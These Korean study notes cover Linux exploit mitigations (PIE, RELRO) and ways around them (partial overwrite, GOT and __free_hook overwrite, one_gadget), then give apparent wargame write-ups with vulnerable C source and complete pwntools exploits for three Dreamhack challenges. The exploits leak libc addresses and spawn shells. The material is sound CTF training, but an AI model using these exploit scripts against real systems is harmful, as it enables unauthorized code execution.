1. PIC
- Position-Independent Code
- 메모리의 어느 주소에 적재되어도 코드의 의미가 훼손되지 않음을 의미
- ELF는 실행파일, 공유 오브젝트 2가지가 존재한다.
- 공유 오브젝트 : libc.so 와 같은 라이브러리
- PIC 적용 X : 절대주소 참조
- PIC 적용 O : 상대주소 참조
2. PIE
- Position-Independent Executable
- 무작위 주소에 매핑되어도 실행 가능한 실행 파일을 의미
- ASLR도입으로 실행 파일도 무작위 주소에 매핑될 수 있게 하려했지만 파일 형식 변경시 호환성 문제가 발생함 -> 원래 재배치가 가능했던 공유 오브젝트를 실행 파일로 사용하기로 함
2-1 PIE on ASLR
- PIE 재배치 가능 : ASLR 적용된 시스템에서는 실행 파일도 무작위 주소에 적재됨 -> PIE 적용시 main 매 실행마다 바뀜
- 적용되지 않은 시스템 : PIE 적용된 바이너리라도 무작위 주소에 적재되지 않는다.
2-2 PIE 우회
- 코드 베이스 구하기
- 무작위 주소에 매핑되므로 코드 영역의 가젯 / 데이터 영역에 접근 위해서는 바이너리가 적재된 주소 알아야함 이 주소를 PIE 베이스, 코드 베이스라고 부름
- 코드 베이스 계산 : 코드 영역의 임의주소 읽고 그 주소에서 오프셋 빼야함(ROP)와 유사
- Partial Overwrite
- 코드 베이스 구하기 어려운 경우 반환 주소의 일부 바이트만 덮는 공격 고려해 볼 수 있다.
- ASLR 특성 상, 코드 영역의 주소도 하위 12비트 값은 항상 같다. 따라서 사용하려는 코드 가젯의 주소가 반환 주소와 하위 반 바이트만 다르다면, 이 값만 덮어서 원하는 코드 실행이 가능
- 그러나 2bytes 이상이 다른 주소로 실행 흐름을 옮기고자 한다면, ASLR로 뒤섞이는 주소 맞춰야하므로 브루트 포싱이 필요 - 공격 확률에 따라 성공
3. RELRO
- RELocationRead-Only : 데이터 세그먼트 보호기법
- 쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한 제거
- Lazy Binding : 함수가 처음 호출될 때 함수의 주소를 구하고, 이를 GOT에 적는 행위 - GOT에 쓰기 권한이 있어야함
3-1 RELRO 우회
- Partial RELRO
- .init_array, .final_array, .got 영역에는 쓰기 권한 제거
- .got.plt 영역에 대한 쓰기 권한 존재 : GOT Overwrite 공격 활용가능
- Full RELRO
- 위의 언급된 모든 영역에 쓰기 권한 제거
- 라이브러리에 위치한 hook 쓰기 가능 (malloc_hook, free_hook...등)
- 동적 메모리의 할당, 해제 과정에서 발생하는 버그 디버깅 쉽게 하려고 만들어짐
- Hook Overwrite
- 함수 시작 부분에서 __malloc_hook 존재하는지 검사, 존재하면 호출
- _malloc_hook : libc.so에서 쓰기 가능한 영역에 위치
- 공격자 : libc 매핑된 주소 알 때, 이 변수 조작하고 malloc 호출해 실행 흐름 조작 가능
hooking
- 운영체제가 어떤 코드 실행하려 할때, 이를 낚아채어 다른 코드가 실행되게 하는것, 실행되는 코드 : Hook
- malloc, free에 훅 설치시 소프트웨어에서 할당, 해제하는 메모리 모니터링 가능
Hook Overwrite
- 훅의 특징 이용한 공격 기법
- Glibc 2.33 이하 버전에서 libc 데이터 영역에는 malloc(), free() 호출시 HOOK 함수 포인터 형태로 존재
- Full RELRO 적용되더라도 libc 데이터 영역에는 쓰기 가능하므로 FULL RELRO 우회하는 기법이기도 함
one_gadget
- libc 내에 존재하는 가젯
- 기존에는 셸 실행하려면 여러개 가젯 조합해 ROP chain 구성
Apt install ruby
Gem install one_gadget
4. fho
4-1 code 분석

- Full RELRO 이므로 Hook Overwrite 가 가능하다면 시도해 볼 것

- bof 가능
- addr 포인터에 주소 지정가능
- value값에 system() payload 삽입
- 마지막 scanf에는 "/bin/sh"를 함으로써 Hooking 작업
from pwn import *
binary = './fho'
p = remote('host1.dreamhack.games',15343)
e = ELF(binary)
libc = ELF('libc-2.27.so')
buf = 'A' * 0x48
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_xx - (libc.sym['__libc_start_main'] + 231)
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
binsh = libc_base + next(libc.search(b'/bin/sh'))
p.recvuntil('To write: ')
p.sendline(str(free_hook).encode())
p.recvuntil('With: ')
p.sendline(str(system).encode())
p.recvuntil('To free: ')
p.sendline(str(binsh).encode())
p.interactive()
- __libc_start_main + 231 : 실제 서버에서 사용하는 libc 버젼이 다르기 때문
5. oneshot
5-1 code 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
- Partial RELRO
- Bof 가능
- payload 작성시 size_t check > 0 이 되면 안된다는 것을 명심
5-2 exploit code
from pwn import *
p = remote('host1.dreamhack.games', 18201)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')
p.recvuntil("stdout: ")
stdout = int(p.recvline()[:-1], 16)
stdout_offset = libc.sym['_IO_2_1_stdout_']
lb = stdout - stdout_offset
og = lb + 0x45216
payload = b'A'*0x18 + b'\x00' * 8 + b'B' * 8 + p64(og)
p.sendafter("MSG: ", payload)
p.interactive()
- 원가젯 통해서 Exploit 코드 작성 (Ret 부분에 og 삽입)
- check 변수는 0보다 크면 안되기 때문에 0으로 설정
6. hook

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
- FULL RELRO이므로 hook overwrite 시도
- 사이즈 bof 가능하도록 충분히 큰값 설정가능
- hooking 위해 free hook 주소와, one_gadget payload 작성
6-2 exploit code
from pwn import *
p = remote('host1.dreamhack.games', 13475)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')
p.recvuntil('stdout: ')
stdout = int(p.recvline()[:-1], 16)
lb = stdout - libc.sym['_IO_2_1_stdout_']
free_hook = lb + libc.sym['__free_hook']
p.sendlineafter("Size: ", b"400")
og = lb + 0x4527a
payload = p64(free_hook) + p64(og)
p.sendlineafter("Data: ", payload)
p.interactive()